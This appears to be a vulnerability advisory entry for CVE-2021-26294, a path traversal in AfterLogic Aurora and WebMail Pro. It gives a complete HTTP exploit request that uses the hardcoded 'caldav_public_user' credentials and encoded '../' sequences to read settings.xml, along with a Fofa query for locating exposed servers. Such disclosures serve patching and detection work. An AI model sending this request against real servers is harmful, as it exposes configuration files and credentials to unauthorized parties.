| Title | AfterLogic Aurora and WebMail Pro < 7.7.9 - Information Disclosure |
|---|---|
| Author | johnk3r |
| Severity | High |
| Impact | Unauthenticated attackers using hardcoded credentials can read arbitrary files under the web root, potentially exposing sensitive configuration data, credentials, and proprietary information. |
| Remediation | Upgrade to AfterLogic Aurora or WebMail Pro version 7.7.10 or later. |
| CVSS Score | 7.5 |
| EPSS Score | 0.92486 |
| CVE ID | CVE-2021-26294 |
| CWE ID | CWE-22 |
| Fofa Query | X-Server: AfterlogicDAVServerx-server: afterlogicdavserver |
| Tags | cve2021 cve afterlogic exposure AfterLogic vkev vuln |
AfterLogic Aurora and WebMail Pro products with 7.7.9 and all lower versions are affected by this vulnerability, simply sending an HTTP GET request to WebDAV EndPoint with built-in “caldav_public_user@localhost” and it’s the predefined password “caldav_public_user” allows the attacker to read all files under the web root.
GET /dav/server.php/files/personal/%2e%2e/%2e%2e//%2e%2e//%2e%2e/data/settings/settings.xml HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Connection: close
Authorization: Basic Y2FsZGF2X3B1YmxpY191c2VyQGxvY2FsaG9zdDpjYWxkYXZfcHVibGljX3VzZXI
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-26294.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-26294.pcap
N/AN/A